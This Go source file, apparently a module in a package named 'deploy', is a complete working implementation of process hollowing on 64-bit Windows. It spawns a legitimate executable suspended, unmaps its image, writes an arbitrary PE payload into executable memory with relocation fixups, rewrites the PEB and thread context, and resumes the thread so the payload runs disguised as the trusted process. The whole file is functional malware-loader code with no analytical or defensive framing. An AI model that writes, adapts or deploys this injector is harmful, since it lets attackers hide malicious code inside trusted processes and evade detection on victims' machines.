//go:build windows && hollow

package deploy

import (
	"encoding/binary"
	"fmt"
	"syscall"
	"unsafe"
)

var (
	kernel32 = syscall.NewLazyDLL("kernel32.dll")
	ntdll    = syscall.NewLazyDLL("ntdll.dll")

	procCreateProcessW       = kernel32.NewProc("CreateProcessW")
	procVirtualAllocEx       = kernel32.NewProc("VirtualAllocEx")
	procReadProcessMemory    = kernel32.NewProc("ReadProcessMemory")
	procWriteProcessMemory   = kernel32.NewProc("WriteProcessMemory")
	procGetThreadContext     = kernel32.NewProc("GetThreadContext")
	procSetThreadContext     = kernel32.NewProc("SetThreadContext")
	procResumeThread         = kernel32.NewProc("ResumeThread")
	procNtUnmapViewOfSection = ntdll.NewProc("NtUnmapViewOfSection")
)

const (
	CREATE_SUSPENDED       = 0x00000004
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
	CONTEXT_FULL_AMD64     = 0x10000B

	IMAGE_REL_BASED_ABSOLUTE = 0
	IMAGE_REL_BASED_DIR64    = 10
)

// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
	numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
	sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
	for i := uint32(0); i < uint32(numSections); i++ {
		sec := payload[sectionsBase+i*40:]
		vAddr := binary.LittleEndian.Uint32(sec[12:])
		vSize := binary.LittleEndian.Uint32(sec[8:])
		rawOff := binary.LittleEndian.Uint32(sec[20:])
		if rva >= vAddr && rva < vAddr+vSize {
			return rawOff + (rva - vAddr), nil
		}
	}
	return 0, fmt.Errorf("RVA 0x%x not found in any section", rva)
}

// applyRelocations patches absolute addresses in the payload copy when the image
// was loaded at a different base than its preferred one.  Only IMAGE_REL_BASED_DIR64
// (type 10) entries are applied; all other types are skipped.
func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32) {
	optHeader := payload[eLFANew+24:]
	// DataDirectory[5] is IMAGE_DIRECTORY_ENTRY_BASERELOC.
	// DataDirectory array starts at offset 112 in a PE32+ optional header.
	const dataDirOffset = 112
	if len(optHeader) < dataDirOffset+5*8+8 {
		return
	}
	relocRVA := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8:])
	relocSize := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8+4:])
	if relocRVA == 0 || relocSize == 0 {
		return // no relocation table (non-PIE binary baked for a fixed address)
	}

	blockOff, err := rvaToFileOffset(payload, relocRVA, eLFANew, sizeOfOptHdr)
	if err != nil {
		return
	}

	end := blockOff + relocSize
	for blockOff < end && blockOff+8 <= uint32(len(payload)) {
		pageRVA := binary.LittleEndian.Uint32(payload[blockOff:])
		blkSize := binary.LittleEndian.Uint32(payload[blockOff+4:])
		if blkSize < 8 {
			break
		}
		entryCount := (blkSize - 8) / 2
		for i := uint32(0); i < entryCount; i++ {
			entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:])
			relType := entry >> 12
			relOff := uint32(entry & 0x0FFF)

			if relType == IMAGE_REL_BASED_ABSOLUTE {
				continue
			}
			if relType != IMAGE_REL_BASED_DIR64 {
				continue
			}

			patchRVA := pageRVA + relOff
			patchOff, err := rvaToFileOffset(payload, patchRVA, eLFANew, sizeOfOptHdr)
			if err != nil || int(patchOff)+8 > len(payload) {
				continue
			}
			orig := int64(binary.LittleEndian.Uint64(payload[patchOff:]))
			binary.LittleEndian.PutUint64(payload[patchOff:], uint64(orig+delta))
		}
		blockOff += blkSize
	}
}

// RunHollowed injects a PE payload into a suspended legitimate Windows process.
func RunHollowed(targetExe string, payload []byte) error {
	if len(payload) < 0x40 {
		return fmt.Errorf("payload too small")
	}
	eLFANew := binary.LittleEndian.Uint32(payload[0x3c:])
	if int(eLFANew)+24 > len(payload) {
		return fmt.Errorf("invalid PE header offset")
	}

	ntHeader := payload[eLFANew:]
	if string(ntHeader[:4]) != "PE\x00\x00" {
		return fmt.Errorf("invalid PE signature")
	}
	if binary.LittleEndian.Uint16(ntHeader[4:]) != 0x8664 {
		return fmt.Errorf("payload must be 64-bit (x64) PE")
	}

	numSections := binary.LittleEndian.Uint16(ntHeader[6:])
	sizeOfOptHdr := binary.LittleEndian.Uint16(ntHeader[20:])
	optHeader := ntHeader[24:]
	if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
		return fmt.Errorf("payload must be PE32+")
	}

	entryPoint := binary.LittleEndian.Uint32(optHeader[16:])
	imageBase := binary.LittleEndian.Uint64(optHeader[24:])
	sizeOfImage := binary.LittleEndian.Uint32(optHeader[56:])
	sizeOfHeaders := binary.LittleEndian.Uint32(optHeader[60:])

	targetPtr, err := syscall.UTF16PtrFromString(targetExe)
	if err != nil {
		return err
	}

	si := new(syscall.StartupInfo)
	si.Cb = uint32(unsafe.Sizeof(*si))
	pi := new(syscall.ProcessInformation)

	// 1. Spawn the target process in a suspended state.
	ret, _, lastErr := procCreateProcessW.Call(
		0,
		uintptr(unsafe.Pointer(targetPtr)),
		0, 0, 0,
		uintptr(CREATE_SUSPENDED),
		0, 0,
		uintptr(unsafe.Pointer(si)),
		uintptr(unsafe.Pointer(pi)),
	)
	if ret == 0 {
		return fmt.Errorf("CreateProcessW: %v", lastErr)
	}
	defer syscall.CloseHandle(pi.Process)
	defer syscall.CloseHandle(pi.Thread)

	// 2. Read thread context to obtain the PEB address (Rdx on x64 initial thread).
	ctxBytes := make([]byte, 1232+16) // CONTEXT is 1232 bytes; needs 16-byte alignment
	var ctxPtr uintptr
	for i := 0; i < 16; i++ {
		if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
			ctxPtr = uintptr(unsafe.Pointer(&ctxBytes[i]))
			break
		}
	}
	*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64

	ret, _, lastErr = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
	if ret == 0 {
		return fmt.Errorf("GetThreadContext: %v", lastErr)
	}

	rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx = PEB pointer at thread start

	// 3. Read the original image base from the PEB (PEB.ImageBaseAddress is at offset +16).
	var origImageBase uint64
	var bytesRW uintptr
	procReadProcessMemory.Call(
		uintptr(pi.Process),
		uintptr(rdx+16),
		uintptr(unsafe.Pointer(&origImageBase)),
		8,
		uintptr(unsafe.Pointer(&bytesRW)),
	)

	// 4. Unmap the original image.
	if origImageBase != 0 {
		procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
	}

	// 5. Allocate memory for the payload.  Try preferred base first; fall back to ASLR.
	newMem, _, _ := procVirtualAllocEx.Call(
		uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage),
		MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
	)
	needsReloc := false
	if newMem == 0 {
		newMem, _, lastErr = procVirtualAllocEx.Call(
			uintptr(pi.Process), 0, uintptr(sizeOfImage),
			MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
		)
		if newMem == 0 {
			return fmt.Errorf("VirtualAllocEx: %v", lastErr)
		}
		needsReloc = true
	}

	// 6. If we landed at a different base, patch absolute addresses in a local copy
	//    before writing to the remote process.  Without this the payload crashes on
	//    every call through its import table and global data pointers.
	patched := payload
	if needsReloc {
		delta := int64(newMem) - int64(imageBase)
		patched = make([]byte, len(payload))
		copy(patched, payload)
		applyRelocations(patched, delta, eLFANew, uint32(sizeOfOptHdr))
	}

	// 7. Write PE headers and sections to the remote process.
	ret, _, lastErr = procWriteProcessMemory.Call(
		uintptr(pi.Process), newMem,
		uintptr(unsafe.Pointer(&patched[0])), uintptr(sizeOfHeaders),
		uintptr(unsafe.Pointer(&bytesRW)),
	)
	if ret == 0 {
		return fmt.Errorf("WriteProcessMemory (headers): %v", lastErr)
	}

	sectionsStart := 24 + uint32(sizeOfOptHdr)
	patchedNT := patched[eLFANew:]
	for i := uint16(0); i < numSections; i++ {
		secHdr := patchedNT[sectionsStart+uint32(i)*40:]
		virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
		rawSize := binary.LittleEndian.Uint32(secHdr[16:])
		rawOff := binary.LittleEndian.Uint32(secHdr[20:])

		if rawSize > 0 {
			ret, _, lastErr = procWriteProcessMemory.Call(
				uintptr(pi.Process),
				newMem+uintptr(virtAddr),
				uintptr(unsafe.Pointer(&patched[rawOff])),
				uintptr(rawSize),
				uintptr(unsafe.Pointer(&bytesRW)),
			)
			if ret == 0 {
				return fmt.Errorf("WriteProcessMemory (section %d): %v", i, lastErr)
			}
		}
	}

	// 8. Update PEB.ImageBaseAddress to the actual allocation address.
	procWriteProcessMemory.Call(
		uintptr(pi.Process), uintptr(rdx+16),
		uintptr(unsafe.Pointer(&newMem)), 8,
		uintptr(unsafe.Pointer(&bytesRW)),
	)

	// 9. Set the initial thread's Rcx to our entry point.
	//    The Windows loader calls RtlUserThreadStart(entry, param) with Rcx = entry point.
	*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint)
	ret, _, lastErr = procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
	if ret == 0 {
		return fmt.Errorf("SetThreadContext: %v", lastErr)
	}

	// 10. Resume the hollowed thread.
	ret, _, lastErr = procResumeThread.Call(uintptr(pi.Thread))
	if ret == 0xFFFFFFFF {
		return fmt.Errorf("ResumeThread: %v", lastErr)
	}

	return nil
}